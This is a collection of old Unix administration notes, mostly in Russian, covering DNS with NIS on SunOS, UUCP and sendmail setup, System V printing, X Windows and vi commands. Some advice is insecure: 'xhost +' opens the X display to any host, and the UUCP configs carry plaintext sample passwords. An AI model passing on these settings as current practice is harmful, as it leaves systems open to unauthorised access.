TOP UNIX-V DDNOS NOS-2 UNIX-V.1 DOMAIN NTOS UNIX-V.2 DOS OS/DDP UNIX-V.3 EDX OS/2 UNIX-PC ELF OS4 UNKNOWN EMBOS OS86 UT2D EMMOS OSX V EPOS PCDOS VM FOONEX PERQ/OS VM/370 FUZZ PLI VM/CMS GCOS PSDOS/MIT VM/SP GPOS PRIMOS VMS HDOS RMX/RDOS VMS/EUNICE IMAGEN ROS VRTX INTERCOM RSX11M WAITS IMPRESS RTE-A WANG INTERLISP SATOPS WIN32 IOS SCO-XENIX/386 X11R3 IRIX SCS XDE ISI-68020 SIMP XENIX ITS SUN Appendix C Installing DNS on a Sun when running NIS ==================== 2) How to get DNS to be used when running NIS ? First setup the appropriate /etc/resolv.conf file. Something like this should do the "trick". ; ; Data file for a client. ; domain local domain nameserver address of primary domain nameserver nameserver address of secondary domain nameserver where: "local domain" is the domain part of the hostnames. For example, if your hostname is "thor.ece.uc.edu" your "local domain" is "ece.uc.edu". You will need to put a copy of this resolv.conf on all NIS(YP) servers including slaves. Under SunOS 4.1 and greater, change the "B=" at the top of the /var/yp/Makefile to "B=-b" and setup NIS in the usual fashion. You will need reboot or restart ypserv for these changes to take affect. Under 4.0.x, edit the Makefile or apply the following "diff": *** Makefile.orig Wed Jan 10 13:22:11 1990 --- Makefile Wed Jan 10 13:22:01 1990 *************** *** 63 **** ! | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byname; \ --- 63 ---- ! | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byname; \ *************** *** 66 **** ! | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byaddr; \ --- 66 ---- ! | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byaddr; \ ==================== -- Craig Richmond. Computer Officer - Dept of Economics (morning) 380 3860 University of Western Australia Dept of Education (afternoon) 2368 craig@ecel.uwa.edu.au Dvorak Keyboards RULE! "Messes are only acceptable if users make them. Applications aren't allowed this freedom" I.M.VI 2-4 . &dDUUCP - Unix to Unix Copy&d@ Система пересылки файлов по телефону. Если uucp правильно сконфигурировано, то его использование выглядит примерно так: uucp -r moj_fajl 'pulsar!fajl_tam' перешлет moj_fajl на удаленную машину pulsar. Хотя, скорее всего не сделает, из-за ограничений на права доступа. А, впрочем, такая команда скорее всего сработает: uucp -r moj_fajl 'pulsar!~' через некоторое время этот файл вы сможете обнаружить на машине pulsar в каталоге /usr/spool/uucppublic/ в этот каталог разрешено копирование с удаленных машин, для не- го используется специальное обозначение: "~" Пусть вас не удивляет, что в команде uucp использовались оди- нарные кавычки. Они нужны, чтобы заэкранировать "!" и "~" от вашего командного интерпретатора ksh или bash. Ключ -r в коман- де uucp нужен, чтобы НЕ ЗАСТАВЛЯТЬ нашу машину немедленно начи- нать звонить на pulsar. Она сама позвонит, в предусмотренное для этого время. uucp поддерживается на двух уровнях: 1. Пользовательский. Это команды uucp - постановка файла в очередь на удаленную пересылку, и uux - постановка в очередь на пересылку удаленной команды. 2. Системный. Периодически, автоматически запускается демон uucico - (UUCP Copy in Copy out). Он созванивается с удаленными машинами по телефону. На удаленной машине также запускается "встречный" демон uucico. Наш демон "проталкивает" на удаленную машину все файлы, которые к этому времени накопились в очереди на отправку туда. После этого он "принимает" файлы, которые приготовила для нас удаленная машина (их к нам проталкивает "встречный" демон uucico, а наш принимает). После этого сеанс uucico заканчивается. А пользователи обнаруживают, что у них возникли новые файлы. Предполагается, что системные администраторы на нашей и на удаленной машине не забыли правильно описать и проконфигуриро- вать систему UUCP. &dDКонфигурация нашей машины как UUCP клиента.&d@ После этого наша машина сможет звонить на удаленные машины и посылать/забирать оттуда файлы. Для этого мы должны задать: 1. Наше собственное UUCP имя. 2. Имя(имена) удаленной(ых) UUCP системы. 3. Телефонный номер(а), по которому нужно туда звонить. 4. Login и пароль, которые выделены там для нашего uucp-account'а. 5. Порт, к которому подключен наш модем. 6. Наборщик - описание "AT" команд для управления нашим модемом. Эти данные задаются в нескольких конфигурационных файлах, кото- рые должны лежать в каталоге /etc/uucp/ (или /usr/lib/uucp/ , или /usr/lib/uucp/taylor_config ) (или в каком нибудь другом, см. man uucp для более точной информации). Это файлы: Config # задает имя нашей машины (и многое другое) ; Systems # описывает удаленные uucp-системы: имя, но- # мер телефона, uucp-logname, uucp-passwd ; Devices # порты, к которым подключены модемы. Dialers # описывает модемы-наборщики (систему AT-ко- # манд). (А в Linux они называются: config, sys, port, dial) Итак, представим классический случай. У вас один Hayes-совмес- тимый модем V32/V42bis на 14400 baud (GVC, ZyXEL, US- Robotics...), подключенный к последовательному порту /dev/modem (если у вас порт называется /dev/contty03, вам никто не мешает сделать символический линк ln -s /dev/contty03 /dev/modem не так ли ?). Имя вашего узла fedfuru. ВНИМАНИЕ. На большинстве Unix-ов выделены раздельные специаль- ные файлы для одного и того-же порта: терминальная линия (для подключения терминала или модема, НА который будут звонить - используется для getty или ttymon), и линия с модемным управле- нием, на выход - например, чтоб звонить НАРУЖУ модемом. Эти специальные файлы и называются по разному, например: SunOS: /dev/ttyy01 IN, /dev/ttyz01 OUT Linux: /dev/ttyS1 IN, /dev/cua1 OUT ISC: /dev/ttyFD01 IN, /dev/ttyFM01 OUT SVR4/88: /dev/contty00 IN, /dev/??????? OUT ###следующий абзац написан "мелким шрифтом"(можно не читать)### На самом деле все не совсем так. Цитирую Linux-Serial-HOWTO: > There has been some discussion on the merits of /dev/mouse > and /dev/modem. I strongly discourage the use of these links. > In particular, if you are planning on using your modem for > dialin you will run into problems because the lock files will > not work correctly if you use /dev/modem. Also, Taylor UUCP does not support symlinks either. Однако uugetty позволяет корректно отрабатывать эту ситуацию. См. параметр ALTLOCK в /etc/defaults/getty файле. ################_конец_"мелкого шрифта"_####################### Вам надо подключиться к двум uucp-узлам: 1: Узел Релком, имя узла kiae, телефоны: 9469984, 9469994. Вы зарегистрированы там под именем/паролем uufedurp/ABCd8 2: Ваше московское отделение, имя узла fedfond, телефон 095- 125-7623. Вы зарегистрированы там под именем/паролем uufedurp/KLmn10 В каталоге /etc/uucp редактируем файлы Systems, Devices, Dialers Systems: ------- Удаленные машины ----------------------------- kiae Any modem1 19200 946-9984 "" \n\r\d\r\d\r ogin:-BREAK-ogin: uufedurp ssword: ABCd8 fedfond Any modem1 19200 8w095-125-7623 "" \n\r ogin:-BREAK-ogin: uufedurp ssword: KLmn10 Devices: --------------- Описание портов ---------------------- modem1 contty03 - 19200 gvc1440 Dialers: --------------- Команды модемов ---------------------- gvc1440 =,-, "" \M\dATZ\r\c OK\r \EATDP\T\r\c CONNECT \m\c ---------------- Это все -------------------------------------- ###следующий абзац написан "мелким шрифтом"(можно не читать)### А дальше идет описание Taylor-uucp. Проблема в том, что в стан- дартной поставке SVR4/88 _нет_ Taylor-uucp, а есть только т.н. HoneyDanBer-uucp, он же BNU (Basic Networking Utilities). Taylor новее и гибче, к тому же поддерживает два формата конфи- гурационных файлов - традиционный (Config, Systems, Devices, Dialers, ...) и свой (config, sys, port, dial, ...). Есть кон- вертер туда-обратно. В Linuxе Taylor-uucp скомпилирован так, чтобы сначала искать Taylor-конфигурацию в /usr/lib/uucp/taylor_config/, если там ничего нет - искать HDB-конфигурацию в /usr/lib/uucp/hdb_config/. IMHO главный изъян HDB - невозможность указывать альтернативные номера теле- фонов. ################_конец_"мелкого шрифта"_####################### ###следующий абзац написан "мелким шрифтом"### Если вы используете не устаревший BNU-uucp, а Taylor-uucp 1.05: В каталоге /usr/lib/uucp/taylor_config создаем файлы config, sys, port, dial следующего содержания: /* Примечание: в дистрибутивах RedHat Linux конфигурационные файлы uucp должны лежать в /etc/uucp/ */ config: ------------------------------------------------------- uuname fedfuru # Наше собственное имя sys: ------- Удаленные машины --------------------------------- system kiae # Узел Релком ############################ myname fedfuru time Any port modem # Имя описания порта в файле port speed 38400 chat ogin:-BREAK-ogin: uufedurp ssword: ABCd8 phone 946-9984 alternate # Второй телефонный номер. phone 946-9994 system fedfond # Московское отделение ################## time Any myname fedfuru port modem # Имя описания порта в файле port speed 38400 chat ogin:-BREAK-ogin: uufedurp ssword: KLmn10 phone 8w095-125-7623 port: --------------- Описание портов ------------------------ port modem # Обозначение порта из файла sys type modem device /dev/modem speed 38400 dialer gvc1440 # Имя наборщика-модема в файле dial dial: --------------- Команды модемов ------------------------ dialer gvc1440 # Обозначение наборщика из файла port # Строка инициализации модема. # Вместо \T будет подставлен телефонный номер chat "" ATZ OK ATH0E0Q0 OK ATDP\T CONNECT # ATZ - загрузить profile 0 # ATH0 - повесить трубку # ATE0 - no echo # ATQ0 - выводить код возврата chat-fail BUSY # Воспринимать как ошибку набора chat-fail ERROR chat-fail NO\sCARRIER chat-fail NO\sDIALTONE --------------------------------------------------------------- ################_конец_"мелкого шрифта"_####################### Все. Клиентская часть UUCP сконфигурирована. Теперь, чтобы "протолкнуть" посланные файлы, достаточно периодически выполнять команды: uucico -s kiae uucico -s fedfond А еще лучше, добавить эти команды в crontab, чтобы они выполнялись автоматически, по несколько раз в сутки. &dDКонфигурирование UUCP с использованием sysadm&d@. Все вышеперечисленные настройки можно сделать, используя утили- ту системного администратора sysadm. Надо войти в меню network_services / basic_network &dDКонфигурирование серверной части UUCP.&d@ Итак, мы уже можем звонить на чужие машины, и пересылать на них файлы. Теперь нужно сделать, чтобы чужие машины (клиенты) могли звонить нам. Для этого нужно: 1: Иметь описание звонящей нам uucp-системы в файле Systems - для клиента такое же, как и для сервера. 2: Проверить права доступа для клиента в файле Permitions 2: Завести для него специальный uucp-login 3: Убедиться, что модем стоит в "Auto-answer" режиме, и на порт /dev/modem запущена программа getty (или ttymon), позволяю- щая логиниться по телефону на порт /dev/modem 1. Описание добавляется в файл Systems, (номер телефона и название порта не обязательны), если мы сами не собираемся туда звонить, но я бы посоветовал их вписать, для единообразия. 2. В файле /etc/passwd завести строчку вида: uupetrov:x:1002:14:UU Petrov:/var/spool/uucp:/usr/lib/uucp/uucico выполнить команды: pwconv passwd uupetrov 3. Любой терминальной программой "войти" в модемный порт и вы- полнить команды atz0 # Загрузить пользовательский profile 0 ats0=1 # Регистр0=1 - снимать трубку после 1-го звонка at&w0 # Сохранить текущий setup в profile 0 at&y0 # Чтобы при включении питания загружался профайл 0 # at&f # загрузить заводские установки, если вы запутались # с профайлами, можно сделать модему "reset" Ввиду отсутствия коммуникационных программ в SVR4 (за исключением сумасшедшего "cu"), используйте "echo". echo atz0 > /dev/modem echo ats0=0 > /dev/modem echo at&w0 > /dev/modem # и так далее А еще лучше gold, там есть режим прямой связи с любым портом. 4. В файле /etc/inittab иметь строчку вида: c3:234:respawn:/usr/lib/saf/ttymon -g -d /dev/modem -l contty &dDЧто где лежит в системе UUCP.&d@ /usr/bin/uucp - переслать файлы с/на удаленную uucp-систему /usr/bin/uux - выполнить команду на удаленной uucp-системе /usr/bin/uustat - статистика по выполненным пересылкам /usr/lib/uucp/uu* - системные утилиты UUCP /etc/uucp/ - каталог конфигурационных файлов UUCP /usr/lib/uucp/taylor_config - конфигурация UUCP в Linux /usr/lib/uucp/ - конфигурация UUCP в других системах /var/spool/uucppublic - каталог в который можно пересылать файлы с удаленных машин /usr/spool/mqueue - очереди отправляемой электронной почты /usr/ucblib/mqueue - или здесь эта очередь ? /var/spool/uucp/"машина" - очередь файлов на отправку на "машину" /var/spool/uucp/.Log - статистика о работе uucp &dDОсталось настроить нашу электронную почту.&d@ Если у вас самый простейший случай: вся ваша почта проходит че- рез один "знающий" host, с которым вы соединены по uucp, то на- до в файле /etc/sendmail.cf иметь такую строку: . . . # "Smart" relay host (may be null) DSuucp-dom:kiae . . . В этом случае вся ваша внешняя почта (т.е. отправляемая за пределы вашей локальной сети) будет переправляться по uucp на uucp-узел "kiae" и дальнейшей ее доставкой будет озабочен именно kiae. Предполагается, что он успешно справится с этой задачей. А еще чтобы было описание uucp-dom (ниже в том же файле). Кстати, чтобы всех окончательно запутать, sendmail.cf на Motoн role лежит вовсе не в /etc/, а в /usr/ucblib/. Если у вас какой-либо другой случай - то это - тяжелый случай. Дерзайте, успехов вам! # И надо сделать, чтоб сендмаил не отрезал 8-й бит у посылаемой почты # Если sendmail8.x.x, то в sendmail.cf: # strip message body to 7 bits on input? O7False # А еще бывает, что sendmail не знает, как правильно называется # наша машина. Тогда мы пишем что-то в таком стиле: Cwlocalhost feduru.urup.ru feduru.mss.ru &dDПроверка работоспособности и отладка конфигурации.&d@ Для начала проверим, правильно ли подсоединен модем. Запускаем программу cu - эмулятор терминала. cu -l /dev/modem # Или как там у вас этот порт называется После этого вы переключитесь на работу со своим модемным пор- том. Все, что вы будете набирать с клавиатуры, будет перенап- равляться в порт /dev/modem , все, что "приходит" с этого пор- та, будет рисоваться на вашем терминале. Попробуйте модемом набрать телефонный номер atdp100 Проверьте, правильно ли сконфигурирован "порт" модема и описа- ние системы в файле Systems. cu pulsar Проверьте права доступа к файлам /dev/modem, /dev/contty*. Дол- жно быть (???): crw-rw---- 1 root uucp ... /dev/contty0 crw-rw---- 1 root uucp ... /dev/modem Запустите uucico с максимальным уровнем выдачи отладочной ин- формации. Запускать надо из под пользователя uucp /usr/lib/uucp/uucico -r1 -x9 -f -s pulsar /usr/lib/uucp/uucico -x all -f -s kiae А затем посмотрите на содержание файлов со статистикой uucp в каталоге /var/spool/uucp : .Admin/audit.local .Log/ .Status/ ERRLOG LOGFILE SYSLOG Например, такой командой tail -f /var/uucp/.Admin/audit.local & tail -f /var/uucp/.Log/uucico/kiae &dDПо результатам переписки&d@. ###следующий абзац написан "мелким шрифтом"(можно не читать)#### Dmitry Mayorov Compulsory Health Insurance Fund Phone: +7 (812) 112-3517 St. Petersburg, Russia > Навешал фильтров на sendmail, rmail, > а вот это непонятно. Или они научились все из кои8 в исо пере- > ворачивать на лету ? Нет, конечно, потребовалось лечить. Дело сильно упростило то обстоятельство, что внутри сети везде ISO. Перекодировать по- этому мне надо только то, что идет через UUCP, то бишь наружу. Для этого пришлось: 1. Поправить sendmail.cf: # RelCom UUCP - with ISO 8859-5 to KOI-8 translation Muucp-koi, P=/usr/local/bin/_uux, F=mDFMhu, S=52/31, R=21, M=100000, ^^^^^^^^^^^^^^^^^^^ мой, см. ниже A=_uux - -r -a$f -gC $h!rmail ($u) 2. Сделать /usr/local/bin/_uux из трех строк: #!/bin/sh PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin: /usr/local/bin/iso-koi | /usr/bin/uux $* (iso-koi - понятно какой фильтр) Это все, на самом деле, весьма грязный hack - вряд ли стоит его включать в учебник. Оно, конечно, работает, но вот надо по крайней мере еще и правильный код возврата как-то обеспечить - с проверкой ошибок и прочими фенечками. Чтобы принимаемая почта из KOI превращалась в ISO, достаточно: 1. Переименовать rmail в /usr/local/bin/__rmail; 2. Сделать свой rmail, тоже из трех строчек: #!/bin/sh PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin: /usr/local/bin/koi-iso | /usr/local/bin/__rmail $* Вышеуказанную экзекуцию надо производить именно над rmail, по- тому что rbmail проверяет контрольные суммы. А вот rbmail в SVR4/88 совсем нет. Надо искать исходники, соби- рать... А RelCom (по крайней мере мой провайдер) именно его пользует. Это третья причина (после отсутствия Taylor-uucp и удобного Mail-user агентa), по которой я не стал поднимать uucp/e-mail на Motorolе. -- Dmitry Mayorov Compulsory Health Insurance Fund Phone: +7 (812) 112-3517 St. Petersburg, Russia -- Конец цитаты -- ################_конец_"мелкого шрифта"_####################### &dDSolaris: настройка uucp по direct line&d@ В файле Systems на Солярке удаленная машина описывается так: ranisi Any dirt06 9600 unused "" P_ZERO "" \n\c ogin:-\n\c-ogin: uuintra\n\c ssword: parolf9f10\n\c "" P_ZERO По сравнению с нормальным tailor-uucp престарелый соляркин по прямому кабелю выкинул несколько фортелей: Не захотел идти наружу с 38400, пришлось ставить 9600 Посылаемый ^M в конце каждой строки chat-а принимающий Linux понимать отказался, пришлось делать в конце \n\c Работать стал только с насильственно взведенным P_ZERO - "no parity" - без этого на приеме вместо латиницы получалась 8-битная русица. В uucp-овый crontab ставим раз в 5 минут вызов uucico 0,5,10,15,18,20,25,30,35,40,45,50,55 * * * * (\ /usr/lib/uucp/uucico -r1 -f -s ranisi ; sleep 30 ; \ /usr/lib/sendmail -q ) > /dev/null 2>&1 У солярного uucico не оказалось ключа "force" redial (-f - совсем не тот форце, которого хотелось мне) &dDЧтоб заставить uucico ходить на телнетовский порт&d@ > в логах наблюдается откровенный мусор: \177}\030\177} \177}#\177} port type pipe port command /bin/telnet -8E hostname &dDSecure uucp по tcp&d@ &dDВариант 1. port type tcp with ssh-port forwarding&d@ НА СЕРВЕРЕ: конфигурите uucp-tcp-сервер с localhost /etc/inetd.conf : uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l /etc/hosts.allow : uucico: 127.0.0.1 # uucico желает его читать, а работает он с uid uucp - приходится дать read chmod og+r /etc/hosts.allow /etc/uucp/passwd : propisatx uu-логин, пароль _нешифрованный_ uuyourlogin yourpasswd НА КЛИЕНТЕ: коннект будете делать на localhost, а ssh делает его проброс /etc/inetd.conf : uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l /etc/hosts.allow : uucico: 127.0.0.1 /etc/uucp/port : описать порт tcp-connect port tcp-connect type tcp service 540 /etc/uucp/sys : добавить тип порта . . . port tcp-connect address 127.0.0.1 chat ogin: \L ssword: \P alternate . . . "Перед употреблением" запускаем из под root ssh с активизированным forward ssh1 -C -L 540:127.0.0.1:540 193.232.173.6 . &dDСистема печати в Unix. LP spoolling&d@ (описана система печати в System V) Печатать, конечно, можно и так: cat file > /dev/lp. Но в многопользовательской системе такой фокус не всегда пройдет. Поэтому печатаемый файл ставят в очередь на печать. Имеем принтер. У принтера есть ИМЯ_ПРИНТЕРА - придумывается администратором. ПОРТ_ПРИНТЕРА - специальный файл в который надо выталкивать данные для печати. ИНТЕРФЕЙСНАЯ_ПРОГРАММА - программа, которая как раз и будет этим заниматься. Если у нас нормально сконфигурена система печати, то печататься можно так: lp -d ИМЯ_ПРИНТЕРА file или, если мы хотим напечатать на "default" принтере cat file | lp lpstat Посмотреть в каком состоянии очередь печати cancel [идентификатор_запроса ...] [принтер ...] Срубить запрос на печать lp просто складывает файл в SPOOL КАТАЛОГ. ДЕМОН ПЕЧАТИ lpsched обнаруживает вновь поступивший файл, ставит его в очередь на печать, и, когда очередь доходит, запускает наконец ИНТЕРФЕЙСНУЮ ПРОГРАММУ, вход которой берется из печатаемого файла, а ее вывод перенаправляется на ПОРТ_ПРИНТЕРА. &dDПодключить к системе новый принтер&d@ --------------------------------------------------------------- lpshut # на время реконфигурации надо "гасить" lpsched lpadmin -pLJ_printer -i/usr/lib/lp/model/lj_print -v/dev/lpt2 или lpadmin -pNash_Nowyj_Printer -mstandard -v/dev/contty enable Nash_Nowyj_Printer accept Nash_Nowyj_Printer lpsched # после реконфигурации надо вновь запустить lpsched --------------------------------------------------------------- accept - позволяет ставить в очередь печать на этом принтере enable - разрешает печатать стоящие в очереди задания ключи команды lpadmin -pИмя_Нового_Принтера -vПОРТ_ПРИНТЕРА -iИНТЕРФЕЙСНАЯ_ПРОГРАММА - маршрутное имя программы, которая печатает -mМОДЕЛЬ_ПРОГРАММЫ - имя "модели" такой программы, лежащей в каталоге /usr/lib/lp/model -o nobanner - разрешить userу писать lp -o nobanner (рекомендую ампутировать banner в интерфейсном скрипте) -d printer - сделать принтером по умолчанию -?Удаленный_хост - можно подключать принтер удаленной машины -?Имя_принтера_на_удаленном_хосте (ключи не помню, посмотреть в man) -s host!printer - для Solaris - подключение удаленного принтера # перед этим вписать принтер в /etc/lp/Systems Вместе с системой накопления вывода на принтеры поставляются образцы интерфейсных программ. Они представляют собой shell-процедуры, перекодирующими печатаемый файл в формат соответствующего принтера. &dDПримеры&d@ lpadmin -pstar1 -i/udd/print/inter -v/dev/xpit0 # локальный принтер lpadmin -pstar1 -mdumb -v/dev/lpt1 &dDПодключить к системе удаленный принтер&d@ (ключи варьируются для разных версий Unix) HP-UX: lpadmin -pLJ_printer -?host -?printer Solaris: вписать удаленную машину в /etc/lp/Systems а затем lpadmin -pLJ_printer -s 'host!printer' ; accept LJ_printer lpadmin -dstar1 # Установить принтером по умолчани` lpadmin -xstar1 # Ликвидировать принтер star1 &dDФайлы&d@ /usr/lib/lp/model # Образцы интерфейсных программ (модели) /etc/lp # Каталог конфигурации системы LP /var/spool/lp/* # Каталоги с очередями man lpadmin # Естественно! . &dDГрафическая оболочка X-Windows System&d@ Для начала немного истории и общих мест. Представим, что нам нужно написать программу, которая будет работать в графическом режиме. Нам потребуется: опрашивать клавиатуру, снимать события и координаты мыши, рисовать на экране, ... Как это делалось на MS-DOSе? Очень просто. Пишем одну большую программу, в ней - все: и логика, и обработка событий, и слежение за перемещениями мыши, ну, а когда требуется что-то нарисовать, мы даем команду на запись в порты EGA контроллера, рисуем пиксел... Через год появляется контроллер VGA, еще через год SVGA 800x600, 16 цветов, вслед за ним UVGA 1024x768, 256 цветов, затем XGA 1280x1024, 16Мб цветов... &dDОсновная идея X Windows&d@. Имеем две независимых программы. Одна умеет рисовать на графическом мониторе, и вообще, обслуживать все это железо. Она называется X-сервер. Вторая программа - называем ее клиент X Windows, рисовать физически не умеет. Зато она знает, что именно надо рисовать, и умеет командовать. Команды типа: "нарисовать прямоугольник", "провести линию", "открыть окно", "вывести символ в заданном фонте", "опросить координаты мыши", и т.п. передаются X-серверу, а тот их исполняет - рисует. Формат и спецификации этих команд опубликованы, стандартизованы, и широко известны. Все вместе они называются "Протокол X Windows". Итак, повторим. X-сервер. Программа, которая написана специально под конкретное физическое устройство (имеется в виду - монитор, графконтроллер, мышь и клавиатура), умеет на нем рисовать, и умеет понимать команды рисования по протоколу X Windows System. X-клиент. Прикладная программа, обеспечивающая графический интерфейс с пользователем. Команды для рисования на экране передает X серверу по протоколу X Windows System. X-терминал. Ящик (монитор, графконтроллер, мышь, клавиатура, ну и, естественно, процессор и оперативная память), на котором запущена программа X-сервер. X-терминалом может служить самая обыкновенная графическая Unix-рабочая станция, на которой X сервер выполняется, как одна из многих прикладных задач. Специализированный X-terminal - ящик, на котором запускается только X сервер, и ничего кроме. Можно использовать PC под MS-DOSом, на котором запущена DOSовская программа, реализующая X сервер. Xlib - библиотека C-ишных функций, реализующих протокол X Windows System. С помощью этой библиотеки можно писать графические программы - X-клиенты. Что мы с этого имеем. Мы получаем универсальный GAPI - (Graphical Application Programming Interface) - средство программирования графических приложений. Пользовательские графические программы при этом полностью отвязаны от железа, от конкретного графконтроллера. О железе пусть беспокоится X-сервер. Протокол X Windows умеет "ездить" по сети: например по TCP/IP, или по DEC-net. Поэтому Xсервер может крутиться на одной машине, а X-клиент - на другой. То есть, картинка рисуется на одной машине, а программа, которая ее обеспечивает - крутится на другой. X-сервер способен обслуживать сразу много клиентов, причем всех - одновременно. На нашем графическом экране может быть открыто сразу много окон - каждое окно порождается его собственным X клиентом. Клиенты эти могут быть запущены и на нашей машине (к которой подключена графическая подсистема), и на удаленных ма- шинах, соединеннных с нами по сети. Чего нам это стоит. Понятно чего. Ресурсов. X Windows очень любит ресурсы - память, процессор, диск. Способен съесть их в неограниченных количес- твах. А еще ведь надо программировать. (К счастью, не всем на- до). Кто видел, как выглядят программы для MS Windows или Mac, может представить себе внешний вид исходных текстов X-овой программы. &dDКак это запускается&d@. Пусть в нашей сети есть машина с графической подсистемой и X сервером, и сетевой адрес этой машины pcat107.foms.msk.ru на pcat107 нужно выполнить команду: xhost + # разрешить X-овым программам с ЛЮБОЙ машины # рисовать на экране машины pcat107 Запускаем на нашем компьютере X-овую программу, так, чтобы ее окошко рисовалось на мониторе pcat107. Для этого на нашем компьютере нужно выполнить команду: xterm -display pcat107:0.0 & &dDБиблиотеки, Motif, и война круглых и квадратных кнопок&d@. Можно писать X-овые программы, используя библиотеку Xlib. Многие так и пишут, хотя это весьма тяжело - уж больно невысок уровень Xlib'а. В помощь программистам было создано несколько toolkit'ов - библиотек более высокого уровня, в которых реали- зованы различные widget'ы. Widget - непереводимый термин X Windows. Склеен из двух слов - Window и Gadget (приспособление), является графическим объектом с привязанными к нему свойствами и реакциями на действия пользователя. Примеры widgetow: "кнопка", "менюшка", "окошко с текстом", "линейка прокрутки",... Известны следующие toolkit'ы: Xaw - Anthena Widgets. Очень черно-белый, очень плоский, весьма небогатый. Зато - бесплатный. Посмотрите, как выглядят программы xterm, xedit, xman. Они сделанны на Xaw. xview - Набор библиотек и объектов, использованных в реализа- ции набора пользовательских утилит Sun-овской версии X Windows - "Open Windows". Весьма симпатично. Круг- лые кнопки, "шприцы-иголки" (замечательная вещь!), очень хорошо продуманный интерфейс пользователя, в том числе активно используемая трех-кнопочная мышь. Исходные тексты библиотек xview открыты, предоставля- ются бесплатно. Однако набор DeskSet - 15 пользова- тельских утилит входящих в OpenWindows, сделанный на библиотеке xview, SunSoft готов предоставить только за плату. В бинарном виде - весьма дешево ($100). В исходных текстах - весьма дорого ($200K) Motif - Библиотека поставляются организацией OSF за не совсем маленькую плату. Исходные тексты библиотек недоступ- ны, либо чрезмерно дороги. Кнопки - квадратные, да и вообще Motif'овские приложения до безобразия напоми- нают MS Windows (что, IMHO, является серьезным прес- туплением) В борьбе BSD и Unix V победил, как известно, System V, а в вой- не круглых и квадратных кнопок выиграл Motif. &dDКонфигурирование X Windows&d@ В Linux используется X11 в реализации XFree86. Чтобы его сконфигурировать, выполните команду xf86config &dDЗапуск X Windows&d@. На некоторых машинах он сам запускается. А также иногда удается запустить его вручную командами: startx и/или openwin Solaris: 1. Установите переменные окружения: OPENWINHOME=/usr/openwin export OPENWINHOME LD_LIBRARY_PATH=/usr/openwin/lib export LD_LIBRARY_PATH PATH=/usr/openwin/bin:$PATH export PATH XAPPLERESDIR=/usr/openwin/lib/app-defaults export XAPPLERESDIR 2. Запустите X Windows командой openwin "Нормальные" Unix'ы: 1. Установите переменные окружения: PATH=/usr/bin/X11:$PATH XAPPLERESDIR=/usr/lib/X11/app-defaults 2. Запустите X Windows командой startx "Ненормальные" Unix'ы (Unixware). Когда регистрируете пользователя, ответьте Yes на вопрос "Хотите графический DeskTop". Тогда после login'а X Windows будет запускаться автоматически. Если вы прозевали, и ответили No, то никаким осмысленным способом запустить X Windows для себя вам не удастся. &dDНастройки пользовательского окружения X Windows&d@ При наличии пользовательских настроечных файлов, лежащих в домашнем каталоге пользователя, используются они. Если их нет, используются стандартные, общественные, обычно лежащие в каталоге /usr/lib/X11 или /usr/openwin/lib Персональные и общественные пользовательские настройки хранятся в файлах: $HOME/.Xdefaults $HOME/.OWdefaults /usr/lib/X11/Xdefaults /usr/openwin/lib/Xdefaults /usr/openwin/lib/app-defaults/* После любых исправлений файл с ресурсами необходимо перезачитать:" xrdb -merge .Xdefaults Окружение (desktop) - т.е. программы, которые стартуют автоматически при запуске X Windows находится в файлах: Solaris: $HOME/.openwin-init /usr/openwin/lib/openwin-init "Нормальнные" X windows: $HOME/.xinitrc /usr/lib/X11/xinit/xinitrc Настройки window-manager'a - т.е. - поведение окон, менюшки пользователя, раскладка команд на клавиши мышки, ... Solaris: $HOME/.openwin-menu $HOME/.openwin-menu-* /usr/openwin/lib/openwin-menu /usr/openwin/lib/openwin-menu-* Linux $HOME/.fvwmrc /usr/lib/X11/fvwm/system.fvwmrc . &dDРедактор VI. Список команд&d@ &dDРЕЖИМЫ&d@: Ввода == ESC ====> Командный == :Q ==> Редактора ed ^ | ^ | +----aAiIcCrRs <---+ +----- vi -------+ &dD &d@ &dDПЕРЕМЕЩЕНИЕ ПО ФАЙЛУ&d@ {стрелки},hjkl ^U/^D табуляция вверх/вниз ^F/^B страницу вниз/вверх ^E/^Y подвинуться на строку вниз/вверх w/b/e вперед/назад на слово/в конец слова W/B/E вперед/назад на слово/в конец опробеленного слова (/) назад/вперед на предложение {/} назад/вперед на абзац [[/]] назад/вперед на функцию или секцию % найти парную скобку ( или { {n}G на строку {n} {n}| в колонку {n} H/M/L в начало/середину/конец экрана z/z./z- текущую строку в начало/середину/конец экрана ^/$/0 начало/конец строки &dD &d@ &dDРЕДАКТИРОВАНИЕ ТЕКСТА&d@ x уничтожить символ X забой J склеить строки &dD &d@ &dDВ РЕЖИМЫ ВВОДА&d@ a/i / A/I вставка за/перед _ / концом/началом строки R режим замены r буква на букву s буква на буквы o/O вставить строку под/над _ C$ Заменить конец строки &dD &d@ &dDИНФОРМАЦИЯ&d@ ^G о текущем файле и строке &dD &d@ &dDОТКАТКА&d@ u откатка (одна) ^L/^R перерисовать &dD &d@ &dDРЕДАКТИРОВАНИЕ В РЕЖИМЕ ВВОДА&d@ ESC вернуться в командный режим Забой Забой ^W/^U Убрать слово/Убрать строку ^V Вставить CRTL-символ[ы] &dD &d@ &dDОПЕРАТОРЫ С ПОЗИЦИОНИРОВАНИЕМ&d@ p/P вспомнить фрагмент за/перед _ {n} ["буква_буфер] "команда" {m}"команда позиционирования" весь фрагмент запоминается! или повтор команды для строки d уничтожать фрагмент y запоминать фраг c заменить фрагмент (==> в режим ввода ) &dD<&d@/&dD>&d@ сдвинуть влево/вправо ! команда пропустить фрагмент через фильтр &dD &d@ &dDПРИМЕРЫ&d@ 7yy запомнить 7 строк в неименованном буфере "aAd{ добавить к буф a с удалением от _ до начала абзаца !G sort отсортировать строки от курсора и до конца &dD &d@ &dD"МАКРОКОМАНДЫ"&d@ :map клавиша_имя_макро тело_макрокоманды {CR} :map! клавиша_имя_макро тело_макрокоманды {CR} - в режиме ввода :ab сокращение сокращаемый_текст {CR} - в режиме ввода &dD &d@ &dDПОИСК&d@ ?строка искать вверх /строка искать вниз n повторить поиск N вернуться на последнюю найденную строку &dD &d@ 